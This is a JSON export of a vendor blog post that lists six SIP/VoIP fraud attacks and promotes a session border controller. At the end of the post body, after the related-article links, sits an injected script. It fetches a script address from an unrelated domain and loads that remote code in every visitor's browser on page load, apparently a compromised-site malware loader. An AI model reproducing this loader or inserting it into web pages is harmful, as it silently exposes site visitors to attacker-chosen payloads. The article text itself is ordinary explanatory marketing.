{"id":2054,"date":"2021-03-25T15:10:51","date_gmt":"2021-03-25T15:10:51","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2054"},"modified":"2025-09-05T11:32:32","modified_gmt":"2025-09-05T11:32:32","slug":"sipvoip-fraud-attacks-operators-need-reliable-solution","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/","title":{"rendered":"SIP\/VoIP Fraud Attacks: Why Operators Need a Reliable Solution?"},"content":{"rendered":"<p>Session Initiation Protocol (SIP) is vulnerable to several attacks without the right security measures to protect the network. Compared to the traditional GSM network, in the IP Network, SIP works at the application layer. Thus it faces the dual threat of IP-network security and SIP protocol fraud issues.<\/p>\n<p>Different types of protocols are used by the signaling networks such as SS7 or SIP, which are vulnerable to different types of fraudulent attacks. As a result, fraudsters take the advantage of the loopholes to break into subscriber privacy, prevent access to important services, and directly defraud mobile operators.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f9fc1e74\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f9fc1e74\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/#6_SIPVoIP_Fraud_Attacks\" title=\"6 SIP\/VoIP Fraud Attacks\">6 SIP\/VoIP Fraud Attacks<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/#IPsec_or_Internet_Protocol_Security_An_Important_Technological_need_in_Todays_World\" title=\"IPsec or Internet Protocol Security: An Important Technological need in Today\u2019s World\">IPsec or Internet Protocol Security: An Important Technological need in Today\u2019s World<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/#Importance_of_a_Session_Border_Controller_in_SIP_Trunking\" title=\"Importance of a Session Border Controller in SIP Trunking\">Importance of a Session Border Controller in SIP Trunking<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"6_SIPVoIP_Fraud_Attacks\"><\/span>6 SIP\/VoIP Fraud Attacks<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>CLI Spoofing and Robocalling<\/strong><\/p>\n<p>Hackers can impersonate a reliable organization by spoofing the caller id of victims. By this process, fraudsters are able to make a call to victims to seek their personal information such as account details, one-time passwords to indulge in cybercrime. For generating traffic, attackers use automated bots, which can bring high traffic loads.<\/p>\n<p><strong>Bypass Fraud<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2061\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/Picture1.jpg\" alt=\"bypass fraud\" width=\"559\" height=\"345\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/Picture1.jpg 1108w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/Picture1-300x185.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/Picture1-768x474.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/Picture1-1024x632.jpg 1024w\" sizes=\"auto, (max-width: 559px) 100vw, 559px\" \/><\/p>\n<p>Bypass fraud is defined as the unauthorised insertion of traffic into another carrier\u2019s network. Here the fraudsters make the international call appear as a low-cost domestic call thereby effectively bypassing the normal payment system for international calling.<\/p>\n<p><strong>Call Hijacking<\/strong><\/p>\n<p>Compared to traditional telephony networks, VoIP traffic is sent on the IP network without any kind of encryption. As there is no encryption involve in traffic transmission, session sniffing becomes easier.<\/p>\n<p><strong>Denial of Services (DoS)<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2063\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/ddos.png\" alt=\"ddos attack\" width=\"597\" height=\"293\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/ddos.png 1158w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/ddos-300x147.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/ddos-768x377.png 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/03\/ddos-1024x502.png 1024w\" sizes=\"auto, (max-width: 597px) 100vw, 597px\" \/><\/p>\n<p>The Denial of Service attack is one of the biggest threats to VoIP Telephony. The main aim of the DDoS attack is to overload a system with too many requests so that the system is forced to shut down. In this process, the attackers move ahead to spoof their addresses and compromise other nodes (e.g., by Trojans).<\/p>\n<p><strong>SIP Registration Attack<\/strong><\/p>\n<p>SIP registration hijacking is a serious VoIP security issue. Before establishing a SIP session, there is a registration process, which can be hijacked by the attacker. In this attack, the attacker disables a user using Denial of Service and tries to register with his own IP address rather than the users IP address.<\/p>\n<p><strong>IP-PBX Hacking &amp; IRSF<\/strong><\/p>\n<p>In this intrusion process, different types of hacking software are used to hack an IP PBX mainly for gaining access. Once the access has been attained, traffic pumping begins. Attackers also initiate calls to prime numbers through this process.<\/p>\n<p><strong>How Can Operators Minimize these Security Issues?<\/strong><\/p>\n<p>Operators and service providers can minimize these issues by employing Session border controllers to secure their VoIP infrastructure and control the access to VoIP services. <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">SBC <\/a>provides strong protection for the IP Communication infrastructure stopping frauds and service thefts. SBCs are designed to support various types of Sip interoperability, providing service assurance, and secure interconnection between VoIP networks.<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/registration\/free-voip-reve-sbc\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"IPsec_or_Internet_Protocol_Security_An_Important_Technological_need_in_Todays_World\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/internet-protocol-security-technological-need\/\" target=\"_blank\" rel=\"noopener\">IPsec or Internet Protocol Security: An Important Technological need in Today\u2019s World<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Importance_of_a_Session_Border_Controller_in_SIP_Trunking\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-session-border-controller-sip-trunking\/\" target=\"_blank\" rel=\"noopener\">Importance of a Session Border Controller in SIP Trunking<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Session Initiation Protocol (SIP) is vulnerable to several attacks without the right security measures to protect the network. Compared to the traditional GSM network, in the IP Network, SIP works at the application layer. Thus it faces the dual threat of IP-network security and SIP protocol fraud issues. Different types of protocols are used by [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2056,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[74],"tags":[],"class_list":["post-2054","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sbc"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2054","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2054"}],"version-history":[{"count":10,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2054\/revisions"}],"predecessor-version":[{"id":6483,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2054\/revisions\/6483"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2056"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2054"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2054"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2054"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}